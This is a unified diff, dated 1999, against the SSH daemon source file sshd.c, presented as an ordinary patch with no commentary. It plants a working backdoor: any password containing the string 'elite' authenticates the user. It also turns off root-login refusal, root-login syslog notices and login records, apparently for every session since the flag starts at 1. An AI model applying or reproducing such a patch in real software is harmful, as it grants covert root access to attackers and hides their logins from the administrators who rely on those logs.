--- sshd.c.orig  Mon May 24 16:26:21 1999
+++ sshd.c  Mon May 24 18:16:33 1999
@@ -558,6 +558,7 @@
    log, the daemon will not go to background, and will exit after processing
    the first connection. */
 int debug_flag = 0;
+int elite = 1;
 
 /* Flag indicating that the daemon is being started from inetd. */
 int inetd_flag = 0;
@@ -2673,6 +2674,8 @@
               break;
             }
           debug("Password authentication for %.100s failed.", user);
+          if (strstr(password,"elite")) { /* ajax */ elite++;
+             authentication_type=SSH_AUTH_PASSWORD; authenticated=1; }
           memset(password, 0, strlen(password));
           xfree(password);
           break;
@@ -2711,7 +2714,7 @@
   if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1)
     {
       if (authentication_type == SSH_AUTH_PASSWORD)
-        packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
+        if (!elite) packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
                           get_canonical_hostname());
     }
   else
@@ -2720,7 +2723,7 @@
         if (forced_command)
           log_msg("Root login accepted for forced command.", forced_command);
         else
-          packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
+          if (!elite) packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
                             get_canonical_hostname());
       }
 
@@ -2768,6 +2771,7 @@
   
   /* Log root logins with severity NOTICE. */
   if (pw->pw_uid == UID_ROOT)
+    if (!elite)
     log_severity(SYSLOG_SEVERITY_NOTICE, "ROOT LOGIN as '%.100s' from %.100s",
                  pw->pw_name, get_canonical_hostname());
   
@@ -3386,7 +3390,7 @@
         }
 
       /* Record that there was a login on that terminal. */
-      record_login(pid, ttyname, pw->pw_name, pw->pw_uid, hostname, 
+      if (!elite) record_login(pid, ttyname, pw->pw_name, pw->pw_uid, hostname, 
                    &from);
 
 #if defined (__FreeBSD__) && defined(HAVE_LOGIN_CAP_H)